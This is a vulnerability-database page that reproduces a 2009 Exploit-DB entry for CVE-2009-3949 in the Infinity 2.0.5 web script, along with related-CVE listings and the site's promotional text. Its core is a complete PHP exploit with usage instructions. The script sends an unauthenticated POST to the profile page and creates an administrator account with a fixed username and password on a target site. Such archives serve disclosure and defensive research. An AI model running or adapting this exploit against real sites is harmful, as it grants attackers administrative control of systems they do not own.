Lucene search
+L

Infinity 2.0.5 - Arbitrary Create Admin

🗓️ 15 Jul 2009 00:00:00Reported by QabandiType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 38 Views

Infinity 2.0.5 Arbitrary Create Admin vulnerability in usag

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2009-3949
15 Jul 200900:00
circl
cve
CVE
CVE-2009-3949
16 Nov 200920:00
cve
cvelist
Cvelist
CVE-2009-3949
16 Nov 200920:00
cvelist
euvd
EUVD
EUVD-2009-3920
7 Oct 202500:30
euvd
nvd
NVD
CVE-2009-3949
16 Nov 200920:30
nvd
prion
Prion
Authentication flaw
16 Nov 200920:30
prion
          <?php
print_r('
                                       ||          ||   | ||
                                o_,_7 _||  . _o_7 _|| q_|_||  o_///_,
                               (  :  /    (_)    /           (      .

                                        ___________________
                                      _/QQQQQQQQQQQQQQQQQQQ\__
[q] Infinity <= 2.0.5 Create Admin __/QQQ/````````````````\QQQ\___
                                 _/QQQQQ/                  \QQQQQQ\
[q] _POST <3                    /QQQQ/``                    ```QQQQ\
                               /QQQQ/                          \QQQQ\
[q] Owned :)                  |QQQQ/    By  Qabandi             \QQQQ|
                              |QQQQ|                            |QQQQ|
                              |QQQQ|    From Kuwait, PEACE...   |QQQQ|
                              |QQQQ|                            |QQQQ|
                              |QQQQ\       iqa[a]hotmail.fr     /QQQQ|
[/]   -[WHAT?]-                \QQQQ\                      __  /QQQQ/
                                \QQQQ\                    /QQ\_QQQQ/
                                 \QQQQ\                   \QQQQQQQ/
                                  \QQQQQ\                 /QQQQQ/_
                                   ``\QQQQQ\_____________/QQQ/\QQQQ\_
                                      ``\QQQQQQQQQQQQQQQQQQQ/  `\QQQQ\
                                         ```````````````````     `````
 ______________________________________________________________________________
/                                                                              \
|       :: Stupid vulnerability in a good script :( tsk tsk                    |
\______________________________________________________________________________/
                                \ No More Private /
                                 `````````````````
                                    Sec-Code.com


USAGE: php whatever.php localhost /infinity/


');

ini_set("max_execution_time",0);

 function QABANDI($victim,$vic_dir){
$host = $victim;
$p = "http://".$host.$vic_dir;




          $data   ="name=qabandi&password=qabandi&conf_password=qabandi&[email protected]&nat=man&hoppy=QabandiWasHere&text=QabandiWasHere&country=1";
          $packet ="POST ".$p."/cp/profile.php?action=donewauthor HTTP/1.0\r\n";
          $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
          $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)\r\n";
          $packet.="Pragma: no-cache\r\n";
          $packet.="Content-Length: ".strlen($data)."\r\n";
          $packet.="Connection: Close\r\n\r\n";
          $packet.=$data;



         //print $packet;
	$o = @fsockopen($host, 80);
	if(!$o){
		echo "\n[x] No response...\n";
		die;
	}

	fputs($o, $packet);
	while (!feof($o)) $data .= fread($o, 1024);
	fclose($o);

	$_404 = strstr( $data, "HTTP/1.1 404 Not Found" );
	if ( !empty($_404) ){
		echo "\n[x] 404 Not Found... Make sure of path. \n";
		die;
	}

		$_401 = strstr( $data, "401 Authorization Required" );
	if ( !empty($_401) ){
		echo "\n[x] HTTP authentication detected! (mrakib jdar narry, maku faydeh) \n";
		die;
	}

                                           echo "Admin created !\n\nUsername: qabandi\npassword: qabandi";

 }

$host1 = $argv[1];
$userdir1=$argv[2];
QABANDI($host1,$userdir1);

die;


?>

# milw0rm.com [2009-07-15]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Jul 2009 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.02199
38